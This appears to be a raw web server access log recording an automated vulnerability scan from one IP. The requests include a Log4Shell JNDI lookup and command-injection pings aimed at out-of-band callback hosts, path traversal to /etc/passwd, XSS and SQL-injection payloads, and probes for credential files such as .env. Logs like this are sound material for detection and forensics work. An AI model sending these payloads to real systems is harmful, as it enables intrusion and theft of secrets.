[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tplus/ajaxpro/RecoverPassword,App_Web_recoverpassword.aspx.cdcab7d2.ashx?method=SetNewPwd HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?q=common/login HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cdn-cgi/image/width/https://d5g6to2hausk1oj0j65g3sxgh684i7yng.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /restrito/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cobbler/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OA/PM/svc.asmx HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?case=crossall&act=execsql&sql=WY8gzSfZwW9R5YvyK HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webvpn.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //blog/articles/index.html?reloaded&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/login HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cobbler_web HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/kvm?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /collibra.properties HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1) HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /codeception.yml HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Server/CmxUser.php?pgid=UserList HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /404 HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nf/auth/startwebview.do HTTP/1.1" 278
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.7z HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/wizard.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /explorer.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfcache.map HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en-US/login?return=/live-view HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common_page/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.composer-auth.json HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccm/system/panels/page/preview_as_user/preview?cID=\"></iframe><svg/onload=alert(\"380DINhBz7CiunNqUt2FqwBtg17\")> HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /password.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /composer.json HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /c42api/v3/LoginConfiguration?username=${jndi:ldap://${:-877}${:-955}.${hostName}.username.d5g6to2hausk1oj0j65gz74xejnkx74at.oast.live/test}&url=https://localhost HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/login HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db_dump.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.properties HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.rb HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dologin.action HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/style/build.properties HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setupcluster-start.action HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/install HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/default.json HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webui/logoutconfirm.html?logon_hash=1 HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/file?path=../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login/Login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /covenantuser/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/sharelinks/1.0/link?url=https://d5g6to2hausk1oj0j65gjm1scahtznc9h.oast.live/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/oauth/view-consumer-info HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_all_dbs HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ck/domenu.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pools/default/buckets HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927545843 HTTP/1.1" -
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SetupWizard.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?hc=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_users/_all_docs HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mailsms/s?func=ADMIN:appState&dumpConfig=/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?image_id=123 HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///apps HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.zul HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Upload/upload_file.php?l=test HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htaccess.txt HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /credentials.json HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login/NuiLogin.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.feed HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/webproc HTTP/1.1" 199
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebInterface/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cucm-uds/users HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crossdomain.xml HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /studio/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebInterface/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebInterface/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cblr/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contao/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/de/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core-cloud-config.yml HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /evo-apigw/evo-oauth/oauth/token HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /overview.asp HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /emap/webservice/gis/soap/bitmap HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard/wizard.cs HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1=demo_out&event2=sm_demo&event3=pdemo&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927548319 HTTP/1.1" -
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.php HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //advanced-elements/form/index.html?formsubmit=12&formaction1=submit&InputField-11939054842=mrs&InputField-21939054842=190806&InputField-31939054842=403105&InputField-41939054842=2&InputField-51939054842&InputField-61939054842=1&captcha_token_id=1\"><script>alert(document.domain)<%2fscript>ufs5prh3qfe&captchaphrase1939054842=1 HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.dev.local HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20d5g6to2hausk1oj0j65g64d4mhgtjkd3o.oast.live%20index.pcap HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/liveView?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1) HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /csz-cms/plugin/article/search?p=3D1%27%22)%20AND%20(SELECT%203910%20FROM%20(SELECT(SLEEP(6)))qIap)--%20ogLS HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dip/api/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /itop/setup/wizard.php HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/webmozart/assert/.composer-auth.json HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database_credentials.inc HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.xml HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/collibra.properties HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rW9cQf.json HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.dbeaver/data-sources.json HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/vars HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /runners/start HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /logIn HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /composer.lock HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/schema.rb HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/carbuyaction.php?dopost=return&code=../../ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/dialog/config.php?adminDirHand=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.properties.bak HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(999999999)+--+@`'` HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.chef/config.rb HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/download.php?open=1&link=aHR0cHM6Ly9pbnRlcmFjdC5zaA== HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /concrete5/index.php/install HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index2.html HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.json HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /restgui/start.html HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data?get=prodServerGen HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?next HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /confluence/plugins/servlet/oauth/view-consumer-info HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysmgmt/2015/bmc/info HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /data/login HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ContentCentral/login.aspx/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET // HTTP/1.1" 3426
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/ HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /deltaweb/hmi_login.asp HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deployment.ini HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /desktop.ini HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/development.log HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exportFile?UID=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/diarise/download.php?calendar=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sysmgmt/2015/bmc/session HTTP/1.1" 196
[09/Jan/2026:10:54:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.drone.yml HTTP/1.1" 196
